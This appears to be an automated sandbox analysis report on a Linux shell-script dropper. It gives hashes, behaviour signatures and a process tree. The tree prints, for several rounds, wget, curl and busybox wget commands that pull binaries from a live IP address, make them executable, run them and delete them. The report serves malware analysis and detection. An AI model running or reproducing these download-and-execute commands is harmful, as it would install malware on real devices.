Analysis

  • max time kernel
    15s
  • max time network
    16s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/10/2024, 01:33

General

  • Target

    a2a4735c2f5a52947559a5ea976abf9f6961cc8f822bb110b43a56727b13d00f.sh

  • Size

    10KB

  • MD5

    674a32798f98c315613e7faf2e40ec5e

  • SHA1

    67d83676dabc7dd94135fd2efe21e143629a0595

  • SHA256

    a2a4735c2f5a52947559a5ea976abf9f6961cc8f822bb110b43a56727b13d00f

  • SHA512

    c2ce59e5319977359055720990b73cfc87fedd418a9f798866ffd52d40965345de2adada38339b63bfaffe3699e406f5b3325497b21358e40c983420935e9ba5

  • SSDEEP

    192:V/jtetutx2SQUm9F1F0NVyGr6yrIx9FUtetutx2SFjtNhyGr6y1:V/Z+ux2SQUm9F1F0NlM9FE+ux2SFRN7

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 16 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a2a4735c2f5a52947559a5ea976abf9f6961cc8f822bb110b43a56727b13d00f.sh
    /tmp/a2a4735c2f5a52947559a5ea976abf9f6961cc8f822bb110b43a56727b13d00f.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://87.120.126.196/bins/TYpMHqGzEyP8rTOoVMYt2X3auI9UeuIsI4
          2⤵
            PID:653
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/TYpMHqGzEyP8rTOoVMYt2X3auI9UeuIsI4
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:675
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/TYpMHqGzEyP8rTOoVMYt2X3auI9UeuIsI4
            2⤵
              PID:706
            • /bin/chmod
              chmod 777 TYpMHqGzEyP8rTOoVMYt2X3auI9UeuIsI4
              2⤵
              • File and Directory Permissions Modification
              PID:723
            • /tmp/TYpMHqGzEyP8rTOoVMYt2X3auI9UeuIsI4
              ./TYpMHqGzEyP8rTOoVMYt2X3auI9UeuIsI4
              2⤵
              • Executes dropped EXE
              PID:724
            • /bin/rm
              rm TYpMHqGzEyP8rTOoVMYt2X3auI9UeuIsI4
              2⤵
                PID:725
              • /usr/bin/wget
                wget http://87.120.126.196/bins/zKX1kYJznU9naP27HQEu7aox0tVZhGvPxA
                2⤵
                  PID:726
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/zKX1kYJznU9naP27HQEu7aox0tVZhGvPxA
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:733
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/zKX1kYJznU9naP27HQEu7aox0tVZhGvPxA
                  2⤵
                    PID:738
                  • /bin/chmod
                    chmod 777 zKX1kYJznU9naP27HQEu7aox0tVZhGvPxA
                    2⤵
                    • File and Directory Permissions Modification
                    PID:739
                  • /tmp/zKX1kYJznU9naP27HQEu7aox0tVZhGvPxA
                    ./zKX1kYJznU9naP27HQEu7aox0tVZhGvPxA
                    2⤵
                    • Executes dropped EXE
                    PID:741
                  • /bin/rm
                    rm zKX1kYJznU9naP27HQEu7aox0tVZhGvPxA
                    2⤵
                      PID:742
                    • /usr/bin/wget
                      wget http://87.120.126.196/bins/eM8hW11E8wiS7IT8XWE2vqodSRRbS23rAv
                      2⤵
                        PID:744
                      • /usr/bin/curl
                        curl -O http://87.120.126.196/bins/eM8hW11E8wiS7IT8XWE2vqodSRRbS23rAv
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:748
                      • /bin/busybox
                        /bin/busybox wget http://87.120.126.196/bins/eM8hW11E8wiS7IT8XWE2vqodSRRbS23rAv
                        2⤵
                          PID:752
                        • /bin/chmod
                          chmod 777 eM8hW11E8wiS7IT8XWE2vqodSRRbS23rAv
                          2⤵
                          • File and Directory Permissions Modification
                          PID:754
                        • /tmp/eM8hW11E8wiS7IT8XWE2vqodSRRbS23rAv
                          ./eM8hW11E8wiS7IT8XWE2vqodSRRbS23rAv
                          2⤵
                          • Executes dropped EXE
                          PID:756
                        • /bin/rm
                          rm eM8hW11E8wiS7IT8XWE2vqodSRRbS23rAv
                          2⤵
                            PID:757
                          • /usr/bin/wget
                            wget http://87.120.126.196/bins/NFeJKcU5vM2cxOr3ANURxAJUCxHmAfeIxk
                            2⤵
                              PID:758
                            • /usr/bin/curl
                              curl -O http://87.120.126.196/bins/NFeJKcU5vM2cxOr3ANURxAJUCxHmAfeIxk
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:761
                            • /bin/busybox
                              /bin/busybox wget http://87.120.126.196/bins/NFeJKcU5vM2cxOr3ANURxAJUCxHmAfeIxk
                              2⤵
                                PID:767
                              • /bin/chmod
                                chmod 777 NFeJKcU5vM2cxOr3ANURxAJUCxHmAfeIxk
                                2⤵
                                • File and Directory Permissions Modification
                                PID:771
                              • /tmp/NFeJKcU5vM2cxOr3ANURxAJUCxHmAfeIxk
                                ./NFeJKcU5vM2cxOr3ANURxAJUCxHmAfeIxk
                                2⤵
                                • Executes dropped EXE
                                PID:772
                              • /bin/rm
                                rm NFeJKcU5vM2cxOr3ANURxAJUCxHmAfeIxk
                                2⤵
                                  PID:773
                                • /usr/bin/wget
                                  wget http://87.120.126.196/bins/UahO4wacQMgzrCLlnEX97YFF8WBuEznUnr
                                  2⤵
                                    PID:774
                                  • /usr/bin/curl
                                    curl -O http://87.120.126.196/bins/UahO4wacQMgzrCLlnEX97YFF8WBuEznUnr
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:775
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.126.196/bins/UahO4wacQMgzrCLlnEX97YFF8WBuEznUnr
                                    2⤵
                                      PID:776
                                    • /bin/chmod
                                      chmod 777 UahO4wacQMgzrCLlnEX97YFF8WBuEznUnr
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:777
                                    • /tmp/UahO4wacQMgzrCLlnEX97YFF8WBuEznUnr
                                      ./UahO4wacQMgzrCLlnEX97YFF8WBuEznUnr
                                      2⤵
                                      • Executes dropped EXE
                                      PID:778
                                    • /bin/rm
                                      rm UahO4wacQMgzrCLlnEX97YFF8WBuEznUnr
                                      2⤵
                                        PID:779
                                      • /usr/bin/wget
                                        wget http://87.120.126.196/bins/efOwqJ2rQESD5sVTrVjjYxzFrhlUOWerxY
                                        2⤵
                                          PID:780
                                        • /usr/bin/curl
                                          curl -O http://87.120.126.196/bins/efOwqJ2rQESD5sVTrVjjYxzFrhlUOWerxY
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:781
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.126.196/bins/efOwqJ2rQESD5sVTrVjjYxzFrhlUOWerxY
                                          2⤵
                                            PID:782
                                          • /bin/chmod
                                            chmod 777 efOwqJ2rQESD5sVTrVjjYxzFrhlUOWerxY
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:783
                                          • /tmp/efOwqJ2rQESD5sVTrVjjYxzFrhlUOWerxY
                                            ./efOwqJ2rQESD5sVTrVjjYxzFrhlUOWerxY
                                            2⤵
                                            • Executes dropped EXE
                                            PID:784
                                          • /bin/rm
                                            rm efOwqJ2rQESD5sVTrVjjYxzFrhlUOWerxY
                                            2⤵
                                              PID:785
                                            • /usr/bin/wget
                                              wget http://87.120.126.196/bins/jbkBazKADCANOq2el15iaIH9fETZUnZ8iX
                                              2⤵
                                                PID:786
                                              • /usr/bin/curl
                                                curl -O http://87.120.126.196/bins/jbkBazKADCANOq2el15iaIH9fETZUnZ8iX
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:787
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.126.196/bins/jbkBazKADCANOq2el15iaIH9fETZUnZ8iX
                                                2⤵
                                                  PID:788
                                                • /bin/chmod
                                                  chmod 777 jbkBazKADCANOq2el15iaIH9fETZUnZ8iX
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:789
                                                • /tmp/jbkBazKADCANOq2el15iaIH9fETZUnZ8iX
                                                  ./jbkBazKADCANOq2el15iaIH9fETZUnZ8iX
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:790
                                                • /bin/rm
                                                  rm jbkBazKADCANOq2el15iaIH9fETZUnZ8iX
                                                  2⤵
                                                    PID:791
                                                  • /usr/bin/wget
                                                    wget http://87.120.126.196/bins/LvsL164UndggdfQBD5gaS5kdHebhr4Wl3s
                                                    2⤵
                                                      PID:792
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.126.196/bins/LvsL164UndggdfQBD5gaS5kdHebhr4Wl3s
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:793
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.126.196/bins/LvsL164UndggdfQBD5gaS5kdHebhr4Wl3s
                                                      2⤵
                                                        PID:794
                                                      • /bin/chmod
                                                        chmod 777 LvsL164UndggdfQBD5gaS5kdHebhr4Wl3s
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:795
                                                      • /tmp/LvsL164UndggdfQBD5gaS5kdHebhr4Wl3s
                                                        ./LvsL164UndggdfQBD5gaS5kdHebhr4Wl3s
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:796
                                                      • /bin/rm
                                                        rm LvsL164UndggdfQBD5gaS5kdHebhr4Wl3s
                                                        2⤵
                                                          PID:797
                                                        • /usr/bin/wget
                                                          wget http://87.120.126.196/bins/vIVi2OkAo5qN5sEjcQ9CRkjBSLO4RfjxkY
                                                          2⤵
                                                            PID:798

                                                        Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • /tmp/TYpMHqGzEyP8rTOoVMYt2X3auI9UeuIsI4

                                                                Filesize

                                                                153B

                                                                MD5

                                                                998368d7c95ea4293237f2320546e440

                                                                SHA1

                                                                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                SHA256

                                                                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                SHA512

                                                                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97